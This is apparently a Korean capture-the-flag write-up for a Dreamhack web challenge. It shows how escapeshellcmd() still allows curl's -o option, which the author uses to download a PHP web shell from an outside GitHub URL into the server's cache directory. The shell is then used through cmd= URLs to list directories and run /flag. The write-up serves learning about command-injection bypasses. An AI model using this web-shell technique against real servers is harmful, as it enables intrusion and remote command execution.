
curl 명령을 서버에서 직접 실행할 수 있다는 점을 이용해 -o 옵션을 통해 웹쉘을 다운로드해 서버에 저장할 수 있다.escapeshellcmd()는 커맨드 삽입은 막지만, curl의 옵션 사용은 허용된다./cache 디렉토리에 저장하고 실행할 수 있다.Dreamhack 서버에 웹쉘을 업로드
https://raw.githubusercontent.com/rinechran/Hws/master/WebShell/exec.php -o ./cache/shell.php
→ 서버에 ./cache/shell.php 생성됨
웹쉘로 접근하여 서버의 최상단 디렉토리 내용 확인
http://host3.dreamhack.games:#####/cache/shell.php?cmd=ls%20../../../../
→ /flag 파일 존재 확인
실행 권한이 있는 /flag 바이너리를 실행
http://host3.dreamhack.games:#####/cache/shell.php?cmd=/flag
→ puts() 함수로 출력된 플래그를 확인함
이 문제는 curl 명령어를 통한 명령 실행 우회 문제였다.
escapeshellcmd()가 적용되어 쉘 메타문자는 필터링되지만, curl의 옵션인 -o는 차단되지 않아 이를 이용해 외부에서 웹쉘을 다운로드하고 실행할 수 있었다.
특히 문제 환경의 Dockerfile을 분석함으로써 /flag 실행 파일만 존재하고 flag.c는 삭제된다는 사실을 파악할 수 있었고, /flag에 읽기 권한은 없지만 실행 권한만 있어 system()이나 shell_exec()을 통해 실행하면 stdout으로 플래그가 출력됨을 예상할 수 있었다.
이 문제는 간접적인 실행 경로 확보와 curl 명령어의 활용, 그리고 Linux 권한 설정에 대한 이해가 어우러진 문제였고, 실전에서도 종종 발생할 수 있는 보안 설정 미스를 잘 보여주는 예제였다.